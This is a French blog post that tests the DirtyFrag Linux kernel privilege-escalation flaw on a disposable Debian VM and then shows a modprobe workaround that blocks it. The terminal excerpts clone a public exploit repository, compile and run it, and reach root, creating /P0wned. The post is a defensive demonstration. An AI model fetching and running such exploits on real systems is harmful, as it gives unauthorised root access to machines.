Première rédaction de cet article le 8 mai 2026
Aujourd'hui, vous avez probablement entendu parler de la faille de sécurité du noyau Linux nommée CopyFail. Une nouvelle faille a été publiée hier, DirtyFrag (CVE-2026-43284 et CVE-2026-43500) et elle est aussi dangereuse et facile à exploiter que CopyFail.
Comme avec CopyFail, testons sur une machine sacrifiable, en l'occurrence une VM chez xTom. On crée la VM, sous Debian 13 (la dernière version stable). Par souci de complétude, on commence par tester CopyFail :
toto@s55827:~$ python copyfail Password:
Ouf, CopyFail échoue ; comme avec tous les hébergeurs sérieux, les VM sont créées avec un noyau insensible à cette faille, et ce bien que le module qui était bogué soit chargé :
toto@s55827:~$ lsmod|grep aea algif_aead 12288 0 af_alg 36864 1 algif_aead toto@s55827:~$ uname -a Linux s55827 6.12.85+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.85-1 (2026-04-30) x86_64 GNU/Linux
Maintenant, essayons DirtyFrag :
toto@s55827:~$ git clone https://github.com/V4bel/dirtyfrag.git … toto@s55827:~$ cd dirtyfrag/ toto@s55827:~/dirtyfrag$ more exp.c
On regarde le code C, il est difficilement compréhensible, c'est bien pour cela qu'il ne faut le tester que sur une machine sacrifiable. Compilons-le :
toto@s55827:~/dirtyfrag$ gcc -O0 -Wall -o exp exp.c toto@s55827:~/dirtyfrag$ ./exp # # id uid=0(root) gid=0(root) groups=0(root) # touch /P0wned # ls -l /P0wned -rw-rw-r-- 1 root root 0 May 8 08:53 /P0wned #
Aussi simple et aussi efficace que CopyFail. Comme lui, il marche à tous les coups et tourne sur de très nombreux systèmes. su a été modifié en mémoire (pas sur le disque et cela ne survivra donc pas au démarrage) :
toto@s55827:~/dirtyfrag$ ls -l /usr/bin/su -rwsr-xr-x 1 root root 84360 May 9 2025 /usr/bin/su toto@s55827:~/dirtyfrag$ su #
La page officielle propose un contournement, en attendant une vraie correction :
root@s55827 ~ # sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true" root@s55827 ~ # cat /etc/modprobe.d/dirtyfrag.conf install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false
Et une fois ce contournement appliqué (et la machine redémarrée pour annuler l'effet du test précédent) :
toto@s55827:~/dirtyfrag$ ./exp dirtyfrag: failed (rc=1) toto@s55827:~/dirtyfrag$ su Password:
Ouf, on est en sécurité (jusqu'à la prochaine faille). Attention, cela empêche apparemment d'utiliser IPsec (mais ce n'est pas grave, tout le monde utilise Wireguard, de toute façon).
Un autre contournement possible est d'utiliser eBPF pour empêcher l'attaque (je n'ai pas testé). Voyez copyfail-dirtyfrag-blocker.
Si vous voulez tous les détails techniques sur DirtyFrag, outre la page officielle, vous avez cet article en anglais.
Version PDF de cette page (mais vous pouvez aussi imprimer depuis votre navigateur, il y a une feuille de style prévue pour cela)
Source XML de cette page (cette page est distribuée sous les termes de la licence GFDL)